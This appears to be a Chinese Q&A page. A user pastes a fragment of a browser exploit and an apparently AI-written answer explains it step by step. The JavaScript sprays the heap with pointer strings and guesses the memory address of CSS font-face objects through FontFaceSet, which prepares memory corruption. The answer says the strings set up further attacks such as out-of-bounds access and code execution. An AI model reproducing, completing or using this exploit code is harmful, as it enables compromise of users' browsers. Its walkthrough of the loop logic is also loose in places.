var guf = GUESS_FONT; var ite = true; var matches = 0; var round = 0; window.ffses = {}; do { var p_s = ptrToString(NPAGES + 2); // vector.size() for (var i = 0; i < NPAGES; i++) p_s += ptrToString(guf + i * PAGE_SIZE); p_s += ptrToString(INVALID_POINTER); for (var i = 0; i < 256; i++) mkString(HASHMAP_BUCKET, p_s); var ffs = ffses["search_" + (++round)] = new FontFaceSet(bad_fonts); var badstr1 = mkString(HASHMAP_BUCKET, p_s); var guessed_font = null; var guessed_addr = null; for (var i = 0; i < SPRAY_FONTS; i++) { bad_fonts[i].family = "search" + round; if (badstr1.substr(0, p_s.length) != p_s) { guessed_font = i; var p_s1 = badstr1.substr(0, p_s.length); for (var i = 1; i <= NPAGES; i++) { if (p_s1.substr(i * 8, 8) != p_s.substr(i * 8, 8)) { guessed_addr = stringToPtr(p_s.substr(i * 8, 8)); break; } } if (matches++ == 0) { guf = guessed_addr + 2 * PAGE_SIZE; guessed_addr = null; } break; } } if ((ite = !ite)) guf += NPAGES * PAGE_SIZE; } while (guessed_addr === null); var p_s = ''; p_s += ptrToString(26); p_s += ptrToString(guessed_addr); p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE); for (var i = 0; i < 19; i++) p_s += ptrToString(INVALID_POINTER); for (var i = 0; i < 256; i++) mkString(HASHMAP_BUCKET, p_s);请继续解释以上代码
时间: 2024-02-14 20:31:08 浏览: 31
这段代码是继续在之前的基础上进行攻击的部分。
代码首先定义了一些变量,包括`guf`、`ite`和`matches`。`guf`是一个用来猜测字体对象地址的变量,`ite`是一个标志变量,`matches`用于计数。
接下来,代码定义了一个循环,并在循环中执行以下操作:
首先,将一些指针转换为字符串,并将其保存在变量`p_s`中。这些指针包括一个常量`NPAGES + 2`,以及一个从数组`guf`中获取的一系列指针。
然后,使用循环调用`mkString`函数,创建了256个长度为`HASHMAP_BUCKET`的字符串,并传入之前生成的`p_s`作为参数。
接下来,代码创建了一个新的`FontFaceSet`对象,并将之前创建的恶意字体对象数组作为参数传入。
然后,代码使用`mkString`函数创建了一个名为`badstr1`的字符串,并传入长度为`HASHMAP_BUCKET`和之前生成的`p_s`作为参数。
接下来,代码定义了两个变量`guessed_font`和`guessed_addr`并初始化为null。
然后,通过循环遍历恶意字体对象数组,将每个字体对象的family属性设置为"search"加上当前循环轮次的值。如果截取到的`badstr1`与之前生成的`p_s`不相等,则表示成功猜测到了字体对象的地址。在这种情况下,代码会进一步解析字符串,找到具体的地址,并将`guessed_font`设置为当前字体对象的索引。然后,代码会遍历解析字符串,找到具体的地址。如果`matches`计数为0,则将`guf`更新为猜测地址加上2倍的页大小,并将`guessed_addr`设置为null。
接下来,代码通过更新`ite`变量来决定是否继续循环。如果`ite`为true,则将`guf`增加NPAGES乘以PAGE_SIZE,否则继续循环。
最后,在循环结束后,代码将一些指针转换为字符串,并将其保存在变量`p_s`中。这些指针包括一个常量26,以及之前猜测得到的字体对象地址和地址加上SIZEOF_CSS_FONT_FACE的值。然后,使用循环调用`mkString`函数,创建了256个长度为`HASHMAP_BUCKET`的字符串,并传入之前生成的`p_s`作为参数。
这段代码的目的是通过循环和字符串操作来猜测字体对象的地址,并构建特定的字符串。这些字符串将在后续的攻击中使用,以实现对浏览器的进一步攻击。具体的攻击方式可能包括利用内存错误漏洞进行越界访问、代码执行等。